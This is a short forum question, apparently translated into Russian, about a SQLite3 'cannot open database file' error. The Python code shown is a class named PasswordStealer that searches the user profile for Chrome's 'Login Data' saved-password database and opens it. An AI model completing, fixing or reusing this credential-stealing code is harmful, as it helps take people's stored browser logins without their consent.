SQLite3 Ошибка в Python: не удается открыть файл базы данных - PullRequest
0 голосов
/ 03 декабря 2018

Я работаю над сценарием на python, который читает из файла SQLite3, но всякий раз, когда я запускаю сценарий, я получаю сообщение об ошибке «невозможно открыть файл базы данных».Вот некоторые фрагменты кода, которые могут быть полезны:

class SQLite3connection:
    def __init__(self,path):
        try:
            self.connection = sqlite3.connect(path)
            self.cursor = self.connection.cursor()
        except Exception as e:
            print("cannot connect to database",e)
            sys.exit()
    def run(self,query):
        self.cursor.execute(query)
        return self.cursor.fetchall()

class PasswordStealer:
    def __init__(self):
        try:
            print("yee")
            self.path = sys.argv[1]
        except IndexError:
            print("yee2")
            for v in os.walk(os.getenv("USERPROFILE")):
                if "Chrome" in v[1]:
                    print("yee3")
                    self.path = str(v[0]) + "\\Chrome\\User Data\\Default\\Login Data"
                    print(self.path)
        self.connection = SQLite3connection(self.path)
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...